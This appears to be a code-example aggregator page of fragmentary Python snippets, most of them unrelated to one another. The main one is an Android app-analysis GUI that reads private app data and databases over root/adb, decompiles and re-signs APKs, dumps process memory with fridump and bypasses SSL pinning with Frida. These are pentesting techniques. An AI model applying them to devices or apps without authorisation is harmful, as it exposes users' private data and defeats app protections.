		if cmdOutput.find("Is a directory") != -1:
			return True
		return False'''

    def BuildFileStructure(self, appName, dirPath):
        if (dirPath.find("/sdcard") == 0):
            cmd = self.ComposeCmd("ls -R '" + dirPath + "'")
        else:
            cmd = self.ComposeCmd("ls -R '/data/data/" + appName + "/" +
                                  dirPath + "'")
        fileList = []
        directory = ""
        for dirContent in (
                self.globalVariables.ExecuteCommand(cmd).strip()).split("\n"):
            try:
                dirContent = dirContent.strip()
                if dirContent:
                    if dirContent.find(":") != -1 and len(
                            dirContent) == dirContent.find(":") + 1:
                        directory = dirContent[:-1]
                    else:
                        file = directory + "/" + dirContent
                        fileList.append(file.replace("//", "/"))
            except:
                "No file found"
        return fileList

    def GetFileContent(self, path):
        path = path.replace(" ", "\\ ").replace("//", "/")
        cmd = self.ComposeCmd("cat '" + path + "'")
        return self.globalVariables.ExecuteCommand(cmd).strip()

    def DownloadDBFile(self, filePath, outputPath):
        filePath = filePath.replace(" ", "\\ ").replace("//", "/")
        if self.isSuNeeded:
            cmd = "{} > '{}'".format(self.ComposeCmd("cat '" + filePath + "'"),
                                     outputPath)
        else:
            cmd = "-s " + self.device + " pull " + filePath + " \"" + outputPath + "\""
        self.globalVariables.ExecuteCommand(cmd)

    def GetAllTables(self, dbPath):
        tables = []
        con = sqlite3.connect(dbPath)
        cursor = con.cursor()
        cursor.execute("SELECT name FROM sqlite_master WHERE type='table';")
        for table_name in cursor.fetchall():
            tables.append(table_name[0])
        return tables

    def GetTableData(self, dbPath, tableName):
        rows = []
        con = sqlite3.connect(dbPath)
        cursor = con.cursor()
        cursor.execute("SELECT * FROM " + tableName)

        colnames = cursor.description
        row = ''
        for colname in colnames:
            row += colname[0] + " | "
        rows.append(row)

        for row in cursor.fetchall():
            rows.append(row)
        return rows

    def HideDefaultApplication(self):
        if mainWin.chkHideDefaultApp.isChecked():
            self.ListApplication(True)
        else:
            self.ListApplication(False)

    def ListApplication(self, isHide=False):
        self.device = self.mainWin.cmbDevice.currentText()
        appList = self.GetApplicationList()
        self.mainWin.cmbApp.clear()
        for app in appList:
            if isHide:
                if app.find("com.android") == 0 or app.find("com.google") == 0:
                    continue
                else:
                    self.mainWin.cmbApp.addItem(app)
            else:
                self.mainWin.cmbApp.addItem(app)

    def ListApplicationContent(self):
        appName = self.mainWin.cmbApp.currentText()
        appContents = self.GetApplicationContent(appName)
        self.mainWin.lstAppDirs.clear()
        for appContent in appContents:
            self.mainWin.lstAppDirs.addItem(QListWidgetItem(appContent))

    def ListFileFromDir(self):
        if len(self.mainWin.lstAppDirs.selectedItems()) == 1:
            appName = self.mainWin.cmbApp.currentText()
            appDirName = str(self.mainWin.lstAppDirs.selectedItems()[0].text())

            appDirFiles = self.BuildFileStructure(appName, appDirName)
            self.mainWin.lstAppDirFiles.clear()
            for file in appDirFiles:
                self.mainWin.lstAppDirFiles.addItem(QListWidgetItem(file))
        else:
            print("Multiple Item Selected")

    def DisplayFileContent(self):
        mainWin.chkLogcat.setChecked(False)
        if len(self.mainWin.lstAppDirFiles.selectedItems()) == 1:
            filePath = (self.mainWin.lstAppDirFiles.selectedItems()[0].text())
            fileContent = self.GetFileContent(filePath).strip()
            if fileContent.find("SQLite format 3") == 0:
                if not os.path.exists("dbs"):
                    os.makedirs("dbs")
                fileName = filePath[filePath.rfind('/') + 1:]
                dbPath = "./dbs/" + fileName
                self.DownloadDBFile(filePath, dbPath)
                tableList = self.GetAllTables(dbPath)
                self.mainWin.txtFileContent.setText("SQLiteDB : " + dbPath)
                for table in tableList:
                    self.mainWin.txtFileContent.append(
                        "\n\n\nTable => " + table.format(type(str), repr(str)))
                    rows = self.GetTableData(dbPath, table)
                    isFirstRow = True
                    for columns in rows:
                        rowData = ""
                        for column in columns:
                            try:
                                rowData += column.format(type(str), repr(str))
                                if not isFirstRow:
                                    rowData += " | "
                            except:
                                rowData += str(column)
                                if not isFirstRow:
                                    rowData += " | "
                        isFirstRow = False
                        dataLen = len(rowData)
                        if dataLen > 174:
                            dataLen = 174
                        self.mainWin.txtFileContent.append("-" * dataLen)
                        self.mainWin.txtFileContent.append(rowData)
                        self.mainWin.txtFileContent.append("-" * dataLen)
            elif fileContent.find("ELF") == 1:
                if not os.path.exists("lib"):
                    os.makedirs("lib")
                fileName = filePath[filePath.rfind('/') + 1:]
                libPath = "./lib/" + fileName
                self.DownloadDBFile(filePath, libPath)
                self.mainWin.txtFileContent.setText(
                    "Performed \"strings\" command on : ELF lib :" + libPath +
                    "\n\n")
                self.mainWin.txtFileContent.append(
                    self.globalVariables.ExecuteCommand(
                        "strings " + libPath, False))
            else:
                self.mainWin.txtFileContent.setText(fileContent)

        else:
            print("Multiple Item Selected")
        if mainWin.chkHtmlDecode.isChecked():
            text = html.unescape(self.mainWin.txtFileContent.toPlainText())
            self.mainWin.txtFileContent.setText(text)

        if mainWin.chkURLDecode.isChecked():
            text = self.mainWin.txtFileContent.toPlainText()
            text = text.encode('ascii', 'ignore')
            self.mainWin.txtFileContent.setText(text)

    def DisplayLogcat(self):
        if mainWin.chkLogcat.isChecked():
            mainWin.chkURLDecode.setVisible(False)
            mainWin.chkHtmlDecode.setVisible(False)
            mainWin.txtFileContent.setVisible(False)
            mainWin.txtLogcat.setVisible(True)
        else:
            mainWin.chkHtmlDecode.setVisible(True)
            mainWin.chkURLDecode.setVisible(True)
            mainWin.txtFileContent.setVisible(True)
            mainWin.txtLogcat.setVisible(False)

    def DecodeHTMLEntity(self):
        text = self.mainWin.txtFileContent.toPlainText()
        if mainWin.chkHtmlDecode.isChecked():
            text = html.unescape(text)
            self.mainWin.txtFileContent.setText(text)
        else:
            self.DisplayFileContent()

    def DecodeURL(self):
        text = self.mainWin.txtFileContent.toPlainText()
        if mainWin.chkURLDecode.isChecked():
            text = text.encode('ascii', 'ignore')
            self.mainWin.txtFileContent.setText(text)
        else:
            self.DisplayFileContent()

    def FetchAPK(self):
        apkName = self.mainWin.cmbApp.currentText()
        cmd = "{} | {} {}".format(
            self.ComposeCmd("ls '/data/app/'"),
            self.globalVariables.isWindowsOS and "findstr" or "grep", apkName)
        appDir = self.globalVariables.ExecuteCommand(cmd).strip()
        if self.isSuNeeded:
            self.globalVariables.ExecuteCommand("{} > {}/{}.apk".format(
                self.ComposeCmd("cat /data/app/{}/base.apk".format(appDir)),
                self.globalVariables.outputDir, apkName))
        else:
            self.globalVariables.ExecuteCommand(
                "-s {} pull /data/app/{}/base.apk {}/{}.apk".format(
                    self.device, appDir, self.globalVariables.outputDir,
                    apkName))
        return apkName

    def RunAPKTool(self):
        apkName = self.FetchAPK()
        self.globalVariables.ExecuteCommand(
            "java -jar {} d {}/{}.apk -f -o {}/{}".format(
                self.globalVariables.apktoolPath,
                self.globalVariables.outputDir, apkName,
                self.globalVariables.outputDir, apkName), False)

    def RunJDGUITool(self):
        apkName = self.FetchAPK()
        dex2jarPath = self.globalVariables.isWindowsOS and self.globalVariables.dex2jarPathWin or self.globalVariables.dex2jarPath
        self.globalVariables.ExecuteCommand(
            "{} {}/{}.apk -o {}/{}.jar --force".format(
                dex2jarPath, self.globalVariables.outputDir, apkName,
                self.globalVariables.outputDir, apkName), False)
        self.globalVariables.ExecuteCommand(
            "java -jar {} {}/{}.jar".format(self.globalVariables.jdGUIPath,
                                            self.globalVariables.outputDir,
                                            apkName), False, False)

    def RunMobSFTool(self):
        isSuccess = self.globalVariables.InitializeMobSFVariables()
        if isSuccess:
            apkName = self.FetchAPK()
            self.globalVariables.ExecuteCommand(
                "curl -F 'file=@./apps/{}.apk' {}/api/v1/upload -H \"Authorization:{}\""
                .format(apkName, self.globalVariables.mobSFURL,
                        self.globalVariables.mobSFAPIKey), False, False)
            webbrowser.open_new_tab("{}/recent_scans/".format(
                self.globalVariables.mobSFURL))

    def RunReinstallAPK(self):
        apkName = self.mainWin.cmbApp.currentText()
        self.globalVariables.ExecuteCommand(
            "java -jar {} b {}/{}/".format(self.globalVariables.apktoolPath,
                                           self.globalVariables.outputDir,
                                           apkName), False)
        self.globalVariables.ExecuteCommand(
            "java -jar {} {}/{}/dist/{}.apk".format(
                self.globalVariables.signJar, self.globalVariables.outputDir,
                apkName, apkName), False)
        self.globalVariables.ExecuteCommand("-s {} uninstall {}".format(
            self.device, apkName))
        self.globalVariables.ExecuteCommand(
            "-s {} install {}/{}/dist/{}.s.apk".format(
                self.device, self.globalVariables.outputDir, apkName, apkName))

    def RunSnapshot(self):
        apkName = self.mainWin.cmbApp.currentText()
        outputDir = "{}/{}_{}".format(
            self.globalVariables.snapshotDir, apkName,
            str(datetime.now()).replace(" ", "_").replace(":", "_"))
        if not os.path.exists(outputDir):
            os.mkdir(outputDir)
        cmd = "{} | {} {}".format(
            self.ComposeCmd("ls '/data/app/'"),
            self.globalVariables.isWindowsOS and "findstr" or "grep", apkName)
        appDir = self.globalVariables.ExecuteCommand(cmd).strip()
        self.globalVariables.ExecuteCommand(
            "-s {} pull /data/data/{}/ {}/data_data".format(
                self.device, apkName, outputDir))
        self.globalVariables.ExecuteCommand(
            "-s {} pull /data/app/{}/ {}/data_app".format(
                self.device, appDir, outputDir))

    def StartFridaServer(self):
        cmd = "{} | {} {}".format(
            self.ComposeCmd("ps"),
            self.globalVariables.isWindowsOS and "findstr" or "grep",
            self.globalVariables.fridaServer)
        output = self.globalVariables.ExecuteCommand(cmd)
        if output.find(self.globalVariables.fridaServer) < 0:
            self.globalVariables.ExecuteCommand("-s {} push {} {}".format(
                self.device, self.globalVariables.fridaServerFileName,
                self.globalVariables.androidtmpdir))
            self.globalVariables.ExecuteCommand(
                self.ComposeCmd("\"cd {} && chmod 755 {}\"".format(
                    self.globalVariables.androidtmpdir,
                    self.globalVariables.fridaServer)))
            self.globalVariables.ExecuteCommand(
                self.ComposeCmd("\"cd {} && ./{} &\"".format(
                    self.globalVariables.androidtmpdir,
                    self.globalVariables.fridaServer)), True, False)

    def RunFridump(self):
        self.StartFridaServer()
        try:
            self.globalVariables.ExecuteCommand(
                "python {} -U -s {}".format(self.globalVariables.fridumpPath,
                                            self.mainWin.cmbApp.currentText()),
                False)

            mainWin.chkLogcat.setChecked(False)
            output = ''
            with open(self.globalVariables.fridumpOutput) as f:
                for line in f:
                    output += line
            self.mainWin.txtFileContent.setText(output)
        except:
            print("Please check the application is running!!")

    def RunUniversalFridaSSLUnPinning(self):
        self.StartFridaServer()
        self.globalVariables.ExecuteCommand("-s {} push {} {}{}".format(
            self.device, self.globalVariables.burpCertPath,
            self.globalVariables.androidtmpdir,
            self.globalVariables.burpCertName))
        self.globalVariables.ExecuteCommand(
            "frida -U -f {} -l {} --no-pause".format(
                self.mainWin.cmbApp.currentText(),
                self.globalVariables.fridasslunpinscript1), False, False)

    def ReloadApplications(self):
        self.HideDefaultApplication()
예제 #21
0
from tabulate import tabulate
import copy

# * Getting arguments from command line
# instFile = sys.argv[1]
# dataFile = sys.argv[2]
# regFile = sys.argv[3]
# configFile = sys.argv[4]
# resultFile = sys.argv[5]
instFile = "inst.txt"
dataFile = "data.txt"
regFile = "reg.txt"
configFile = "config.txt"
resultFile = "result.txt"

g.Init()  # Init Global Variables

# * Reading Data File
with open(dataFile, 'r') as c:
    dLines = c.readlines()
    memAddr = 256  # As of now this is in decimal , equivalant to 0x100
    for d in dLines:
        d = d.replace("\n", "")
        g.data[str(memAddr)] = d
        memAddr = memAddr + 4
# print(data)

# * Reading Reg File
with open(regFile, 'r') as c:
    regs = c.readlines()
    for r in regs:
예제 #22
0
"""
Created on 2014. 7. 7.

@author: solikang
"""
import tweepy
from collections import OrderedDict

import GlobalVariables as gv

gv.get_key()
auth = tweepy.OAuthHandler(gv.CONSUMER_KEY, gv.CONSUMER_SECRET)
auth.set_access_token(gv.ACCESS_TOKEN, gv.ACCESS_TOKEN_SECRET)

# Creation of the actual interface, using authentication
api = tweepy.API(auth)
user = api.me()
print("Name: " + user.name)
print("Friends: " + str(user.friends_count))

tweets = api.home_timeline()

rankDic = dict()

for tweet in tweets:
    sourceId = None
    if tweet.retweeted is True:
        # print ('RETWEETED from ' + str(tweet.retweeted_status.id))
        sourceId = ` tweet.retweeted_status.user.screen_name `
    else:
        sourceId = ` tweet.user.screen_name `
예제 #23
0
	time.sleep(2)	#just to see initial interface
	##print "in test_interface()"
	numtries = 10
	for i in range(1,numtries):
		##print "user input #",i
		##print "in test_interface: gv._highlighted=",gv._highlighted
		update(1)
		time.sleep(2)




##########################-------------------main-------------###########

root = Tk()
gv = GlobalVariables()
bg = Bigraph()

s = 50
x = 200
y = 200
r1 = 110 #radius of center circle
max_r2 = 80

#gv._circleList = []
stack = []

gv._canvas = Canvas(root,height=400,width=400,bg='yellow')
gv._canvas.grid(row=2,column=1)
#gv._canvas.focus_set()
예제 #24
0
 def reproduce(self, b_genes: list, mutation_rate: int):
     new_network = GlobalVariables.new_neural_network()
     new_network.load_genes(self.get_genes())
     new_network.mate(b_genes, mutation_rate)
     return Hider(new_network)
예제 #25
0
파일: Main.py 프로젝트: sayloren/fennel
def main():
    # Collect arguments
    args = get_args()

    # Set global variables
    GlobalVariables.main(args)

    # for each element file provided
    for fileName in GlobalVariables.eFiles:
        # get the region info to work with
        rangeFeatures = ElementLibrary.main(fileName)
        # separate by direction
        directionFeatures, directionBins = DirectionLibrary.main(
            rangeFeatures, fileName)

        # for each random file provided
        randomFile = GlobalVariables.rFiles
        # Collect out filename labels
        paramlabels = '{0}_{1}_{2}_{3}_{4}_{5}_{6}_{7}'.format(
            GlobalVariables.uce, GlobalVariables.inuce, GlobalVariables.num,
            GlobalVariables.binDir, GlobalVariables.window, fileName,
            randomFile, GlobalVariables.stringName)

        # get the region info to work with
        randomFeatures = ElementLibrary.main(randomFile)
        # separate by direction
        randirFeatures, randirBins = DirectionLibrary.main(
            randomFeatures, randomFile)

        # Plot boundary probabilities
        BinLibrary.main(directionBins, randirBins, paramlabels)

        # Make tazble for the count of each direction for each type element
        elementGroup = collect_counts_for_element_type(rangeFeatures)
        randomGroup = collect_counts_for_element_type(randirFeatures)
        plot_chi_square_table(elementGroup, 'Elements', randomGroup,
                              'Random Regions',
                              'Direction_Count_{0}'.format(paramlabels))

        # All elements
        if 'all' in GlobalVariables.typeList:
            GlobalVariables.typeList.remove('all')
            pdMeth, allWindow, allNames = TypeLibrary.main(
                rangeFeatures, fileName)
            rnMeth, ranWindow, ranNames = TypeLibrary.main(
                randomFeatures, fileName)
            plot_graph_by_arg(pdMeth, rnMeth, allWindow, allNames, ranWindow,
                              'all_{0}'.format(paramlabels))
            if GlobalVariables.revCom:
                revMeth, revWindow, revNames = RevCompLibrary.main(
                    directionFeatures)
                ranrevMeth, ranrevWindow, ranrevNames = RevCompLibrary.main(
                    randirFeatures)
                plot_graph_by_arg(revMeth, ranrevMeth, revWindow, revNames,
                                  ranrevWindow,
                                  'revComp_all_{0}'.format(paramlabels))


# 		# By Type
        for type in GlobalVariables.typeList:
            typeBool, typeMeth, typeWindow, typeNames = separate_dataframe_by_group(
                type, directionFeatures, 'type', fileName)
            rantypeBool, rantypeMeth, rantypeWindow, rantypeNames = separate_dataframe_by_group(
                type, randirFeatures, 'type', randomFile)
            plot_graph_by_arg(typeMeth, rantypeMeth, typeWindow, typeNames,
                              rantypeWindow,
                              '{0}_{1}'.format(type, paramlabels))
            if GlobalVariables.revCom:
                typercMeth, typercWindow, typercNames = RevCompLibrary.main(
                    typeBool)
                rantypercMeth, rantypercWindow, rantypercNames = RevCompLibrary.main(
                    rantypeBool)
                plot_graph_by_arg(typercMeth, rantypercMeth, typercWindow,
                                  typercNames, rantypercWindow,
                                  'revComp_{0}_{1}'.format(type, paramlabels))

        # By Direction
        for dir in GlobalVariables.dirList:
            dirBool, dirMeth, dirWindow, dirNames = separate_dataframe_by_group(
                dir, directionFeatures, 'compareBoundaries', fileName)
            randirBool, randirMeth, randirWindow, randirNames = separate_dataframe_by_group(
                dir, randirFeatures, 'compareBoundaries', randomFile)
            plot_graph_by_arg(dirMeth, randirMeth, dirWindow, dirNames,
                              randirWindow,
                              'all_{0}_{1}'.format(dir, paramlabels))
            for type in GlobalVariables.typeList:
                typeBool, typeMeth, typeWindow, typeNames = separate_dataframe_by_group(
                    type, directionFeatures, 'type', fileName)
                rantypeBool, rantypeMeth, rantypeWindow, rantypeNames = separate_dataframe_by_group(
                    type, randirFeatures, 'type', randomFile)
                plot_graph_by_arg(typeMeth, rantypeMeth, typeWindow, typeNames,
                                  rantypeWindow,
                                  '{0}_{1}_{2}'.format(type, dir, paramlabels))

        # Re-align by exon/intron crossover
        if GlobalVariables.overlapInset:
            ranstartcrossboundary, ranendcrossboundary, rancompleteelement, raninteriorelement, ranoverlapTable = OverlapLibrary.main(
                randomFeatures, fileName)
            rancrossMeth, rancrossWindow, rancrossNames = RevCompOverlapLibrary.main(
                ranstartcrossboundary, ranendcrossboundary)
            startcrossboundary, endcrossboundary, completeelement, interiorelement, overlapTable = OverlapLibrary.main(
                rangeFeatures, fileName)
            crossMeth, crossWindow, crossNames = RevCompOverlapLibrary.main(
                startcrossboundary, endcrossboundary)
            completeelement.name = 'WithinExon'
            interiorelement.name = 'ContainsExon'
            plot_chi_square_table(
                overlapTable.T, 'Exonic Elements', ranoverlapTable.T,
                'Exonic Random Regions',
                'Exonic_overlap_Count_{0}'.format(paramlabels))
            plot_graph_by_arg(crossMeth, rancrossMeth, crossWindow, crossNames,
                              rancrossWindow,
                              'align_Crossboundary_{0}'.format(paramlabels))
            for element, random in zip(
                [completeelement, interiorelement],
                [rancompleteelement, raninteriorelement]):
                alignMeth, alignWindow, alignNames = TypeLibrary.main(
                    element, fileName)
                ranalignMeth, ranalignWindow, ranalignNames = TypeLibrary.main(
                    random, fileName)
                plot_graph_by_arg(
                    alignMeth, ranalignMeth, alignWindow, alignNames,
                    ranalignWindow,
                    'align_{0}_{1}'.format(element.name, paramlabels))
예제 #26
0
    def __init__(self):
        QMainWindow.__init__(self)
        self.setMinimumSize(QSize(1100, 700))
        self.setWindowTitle("Android Application Analyzer")
        centralWidget = QWidget(self)
        self.setCentralWidget(centralWidget)

        quit = QAction("Quit", self)
        quit.triggered.connect(self.closeEvent)

        globalVariables = GlobalVariables()
        defaultSize = 40
        topMargin = 5
        funBtnStartPost = 65
        variation = 0
        if globalVariables.isWindowsOS:
            defaultSize = 25
            topMargin = 10
            funBtnStartPost = 70
            variation = 5

        self.device_lable = QLabel(centralWidget)
        self.device_lable.setGeometry(QRect(10, topMargin, 85, defaultSize))
        self.device_lable.setText("Select Device")
        self.cmbDevice = QComboBox(centralWidget)
        self.cmbDevice.setGeometry(QRect(95, topMargin, 400, defaultSize))
        self.cmbDevice.setObjectName(("cmbDevice"))

        self.app_label = QLabel(centralWidget)
        self.app_label.setGeometry(QRect(510, topMargin, 110, defaultSize))
        self.app_label.setText("Select Application")
        self.cmbApp = QComboBox(centralWidget)
        self.cmbApp.setGeometry(
            QRect(620, topMargin, 375 - variation, defaultSize))
        self.cmbApp.setObjectName(("cmbDevice"))

        self.btnReloadApps = QPushButton(centralWidget)
        self.btnReloadApps.setGeometry(
            QRect(920, 35 + variation, 75 - variation, defaultSize))
        self.btnReloadApps.setText(("Reload"))

        self.btnSnapshot = QPushButton(centralWidget)
        self.btnSnapshot.setGeometry(QRect(995, topMargin, 100, defaultSize))
        self.btnSnapshot.setText(("Snapshot"))

        self.appDirs = QLabel(centralWidget)
        self.appDirs.setGeometry(QRect(10, 40, 250, defaultSize))
        self.appDirs.setText("Select Directory")
        self.lstAppDirs = QListWidget(centralWidget)
        self.lstAppDirs.setGeometry(QRect(10, 75 - variation, 250, 145))

        self.appDirFiles = QLabel(centralWidget)
        self.appDirFiles.setGeometry(QRect(270, 40, 480, defaultSize))
        self.appDirFiles.setText("Select File")
        self.lstAppDirFiles = QListWidget(centralWidget)
        self.lstAppDirFiles.setGeometry(QRect(270, 75 - variation, 720, 145))

        self.btnJDGUI = QPushButton(centralWidget)
        self.btnJDGUI.setGeometry(QRect(995, funBtnStartPost, 100,
                                        defaultSize))
        self.btnJDGUI.setText(("jdgui"))

        funBtnStartPost = funBtnStartPost + 40
        self.btnMobSF = QPushButton(centralWidget)
        self.btnMobSF.setGeometry(QRect(995, funBtnStartPost, 100,
                                        defaultSize))
        self.btnMobSF.setText(("mobSF"))

        funBtnStartPost = funBtnStartPost + 40
        self.btnAPKTool = QPushButton(centralWidget)
        self.btnAPKTool.setGeometry(
            QRect(995, funBtnStartPost, 100, defaultSize))
        self.btnAPKTool.setText(("apktool"))

        funBtnStartPost = funBtnStartPost + 40
        self.btnReinstall = QPushButton(centralWidget)
        self.btnReinstall.setGeometry(
            QRect(995, funBtnStartPost, 100, defaultSize))
        self.btnReinstall.setText(("re-install"))

        self.btnFridaSSLUnPin = QPushButton(centralWidget)
        self.btnFridaSSLUnPin.setGeometry(
            QRect(780, 220 + variation, 120 - variation, defaultSize))
        self.btnFridaSSLUnPin.setText(("frida-sslunpin"))

        self.btnFridump = QPushButton(centralWidget)
        self.btnFridump.setGeometry(
            QRect(895, 220 + variation, 100 - variation, defaultSize))
        self.btnFridump.setText(("fridump"))

        self.lblFileContent = QLabel(centralWidget)
        self.lblFileContent.setGeometry(QRect(10, 230, 250, defaultSize))
        self.lblFileContent.setText("File Content")

        self.chkURLDecode = QCheckBox(centralWidget)
        self.chkURLDecode.setGeometry(QRect(100, 230, 130, defaultSize))
        self.chkURLDecode.setText("URLDecode")

        self.chkHtmlDecode = QCheckBox(centralWidget)
        self.chkHtmlDecode.setGeometry(QRect(200, 230, 130, defaultSize))
        self.chkHtmlDecode.setText("HTMLDecode")

        self.chkHideDefaultApp = QCheckBox(centralWidget)
        self.chkHideDefaultApp.setGeometry(
            QRect(625 - variation, 35, 180, defaultSize))
        self.chkHideDefaultApp.setText("Hide Default Application")

        self.chkLogcat = QCheckBox(centralWidget)
        self.chkLogcat.setGeometry(
            QRect(1020 + variation * 3, 230, 75, defaultSize))
        self.chkLogcat.setText("Logcat")

        self.txtFileContent = QTextEdit(centralWidget)
        self.txtFileContent.setGeometry(QRect(10, 260, 1080, 430))

        self.txtLogcat = QTextEdit(centralWidget)
        self.txtLogcat.setGeometry(QRect(10, 260, 1080, 430))
예제 #27
0
 def __init__(self, mainWin):
     self.mainWin = mainWin
     self.globalVariables = GlobalVariables()
     self.isSuNeeded = True
     self.device = ""
예제 #28
0
	def __init__(self):
		super(FindJenkins, self).__init__()
		self.globalVariables=GlobalVariables()
		self.session = requests.Session()
        orbitObject.setReducedCraterByWeather(weather)
        orbits.extend([orbitObject])
    return orbits


def getWeather():
    weather = input()
    weather = weather.split()[-1]
    return weather


def TestSample(problem):
    GlobalVariables.ProblemNumber = problem
    weather = getWeather()
    orbits = getOrbitSamples(weather)
    routes = Routes(GlobalVariables.Source,GlobalVariables.Intermediate, GlobalVariables.Destination, weather)
    for orbit in orbits:
        routes.AddOrbit(orbit)
    if problem == 1:
        print(routes.GetBestRoute())
    elif problem == 2:
        print(routes.GetBestRouteForProblem2())


sample = int(input())
GlobalVariables.initVehicles()
GlobalVariables.initSourceAndDestination()
GlobalVariables.initCratersAndDistanceForOrbits()
assert sample in [1,2]
TestSample(sample)
예제 #30
0
			update(1)
			time.sleep(2)



def start():
	default()		#display entire alphabet
	#grab keyboard input
	getKeyIn()



################------------------python main---------------########

root = Tk()
gv = GlobalVariables()
bg = Bigraph()
#bg._print(bg._bigrph1)
#bg._print(bg._bigrph2)
stack = Stack()

canvHeight = 400
canvWidth = 800
gv._canHt = canvHeight
gv._canWdth = canvWidth
txtBxWidth = canvWidth / 8
txtBxHeight = 1

gv._canvas = Canvas(root,height=canvHeight,width=canvWidth,bg='yellow')
gv._canvas.grid(row=2,column=1)
예제 #31
0
 def __init__(self):
     self.globalVariables = GlobalVariables()